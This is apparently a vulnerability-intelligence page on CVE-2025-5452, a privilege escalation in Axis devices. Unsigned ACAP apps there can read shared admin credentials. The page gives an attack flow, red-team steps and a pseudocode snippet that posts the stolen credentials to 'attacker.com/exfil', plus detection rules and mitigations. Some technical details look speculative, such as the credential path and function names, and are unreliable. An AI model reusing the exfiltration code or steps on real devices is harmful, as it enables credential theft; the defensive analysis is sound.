☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-269
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5452

CVE-2025-5452 Privilege Escalation in Axis
📅 PUBLISHED: 2025-11-11 07:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.6
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5452 is a privilege escalation vulnerability affecting Axis devices that allow installation of unsigned ACAP (Axis Camera Application Platform) applications. A malicious ACAP application can extract admin-level service account credentials used by legitimate ACAP applications, enabling the attacker to gain elevated privileges on the device. The attack requires social engineering to convince a victim to install the malicious unsigned ACAP, and the device must be configured to allow unsigned ACAP installation. The CVSS score is 6.6 (Medium), but the impact is high due to potential full device compromise. No public exploit or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The malicious ACAP is delivered over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
  • Privileges Required (PR): None (N) – The attacker does not need prior access.
  • User Interaction (UI): Required (R) – Victim must install the malicious ACAP.
  • Scope (S): Unchanged (U) – The vulnerable component remains the same.
  • Confidentiality (C): High (H) – Admin credentials can be extracted.
  • Integrity (I): High (H) – Attacker can modify device settings.
  • Availability (A): High (H) – Attacker can disrupt device operation.

Threat Level: Medium (6.6) – Exploitation requires user interaction and a specific device configuration, but the impact is severe.

Deep Dive & Mechanics

The vulnerability resides in the ACAP runtime environment on Axis devices. ACAP applications run in a sandboxed environment but share a common credential store for service accounts. When a legitimate ACAP application is installed, it may store admin-level service account credentials in a location accessible to other ACAP applications. A malicious ACAP application, if installed as unsigned (allowed by device configuration), can read these credentials from the shared store.

The attack flow:

  1. Attacker crafts a malicious unsigned ACAP application.
  2. Attacker convinces victim (e.g., via phishing or physical access) to install the ACAP on an Axis device that has unsigned ACAP installation enabled.
  3. The malicious ACAP reads the credential store, extracting admin-level service account credentials.
  4. The attacker uses these credentials to log in to the device with admin privileges, bypassing normal authentication.

The vulnerability is not due to a code flaw but a design weakness in credential isolation between ACAP applications. The device must have the "Allow unsigned ACAP" option enabled (default is disabled).

Vulnerable vs. Patched Code

No patch is available. The vulnerable behavior is inherent in the ACAP credential management design. A patched version would need to enforce credential isolation per application or require signed ACAPs to access sensitive stores.

Vulnerable configuration:

  • Device allows installation of unsigned ACAP applications.
  • ACAP applications share a common credential store.

Patched configuration (hypothetical):

  • Only signed ACAPs can access credential stores.
  • Credential store is isolated per application using unique identifiers.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Axis device with unsigned ACAP installation enabled.
  • Victim interaction to install the malicious ACAP.

Steps:

  1. Create a malicious ACAP package (.eap file) that includes code to read the credential store.
  2. Host the ACAP on a web server or deliver via USB.
  3. Social engineer the victim to install the ACAP via the device web interface.
  4. The malicious ACAP extracts credentials and exfiltrates them (e.g., via HTTP request to attacker server).
  5. Use the credentials to log in to the device with admin privileges.

Example malicious ACAP code snippet (conceptual):

// Pseudocode for credential extraction
#include <acap_runtime.h>
int main() {
    char* creds = read_credential_store("/var/run/acap_creds");
    send_http_post("http://attacker.com/exfil", creds);
    return 0;
}

Blue Team

Detection:

  • Monitor for unsigned ACAP installations via device logs.
  • Alert on any ACAP that attempts to access credential stores.
  • Use network monitoring to detect exfiltration attempts.

Prevention:

  • Disable unsigned ACAP installation on all Axis devices.
  • Enforce signed ACAPs only.
  • Implement application whitelisting.

Indicators of Compromise (IOCs)

  • File Hashes: Unknown (no known malicious ACAP samples).
  • Network Traffic: Outbound HTTP POST to unknown IPs from Axis device.
  • Log Entries: ACAP installation: unsigned package installed in device logs.
  • Processes: Unusual ACAP processes running with high privileges.
  • Registry/Config: Device configuration showing AllowUnsignedACAP=true.

Detection Engineering

YARA Rule

rule CVE_2025_5452_ACAP_CRED_EXFIL {
    meta:
        description = "Detects malicious ACAP attempting to read credential store"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5452"
    strings:
        $cred_path = "/var/run/acap_creds" nocase
        $exfil_func = "send_http_post" nocase
        $admin_cred = "admin" nocase
    condition:
        all of them
}

Sigma Rule

title: Axis ACAP Credential Access Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ACAP application accessing credential store
author: Valters IT
logsource:
    product: axis
    service: acap
detection:
    selection:
        EventID: 1001
        Message: "*credential*"
    condition: selection
falsepositives:
    - Legitimate ACAP applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5452 ACAP Credential Exfiltration"; flow:to_server; content:"POST"; http_method; content:"/exfil"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable unsigned ACAP installation on all Axis devices (set AllowUnsignedACAP=false).
  2. Review installed ACAP applications and remove any untrusted ones.
  3. Change admin credentials on affected devices.

Long-term:

  • Apply vendor patch when released.
  • Implement network segmentation for IoT devices.
  • Use endpoint detection and response (EDR) for Axis devices.

Workaround:

  • Only install signed ACAP applications from trusted sources.
  • Monitor device logs for unauthorized ACAP installations.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Axis device ACAP unsigned
Axis network camera ACAP
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5452/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.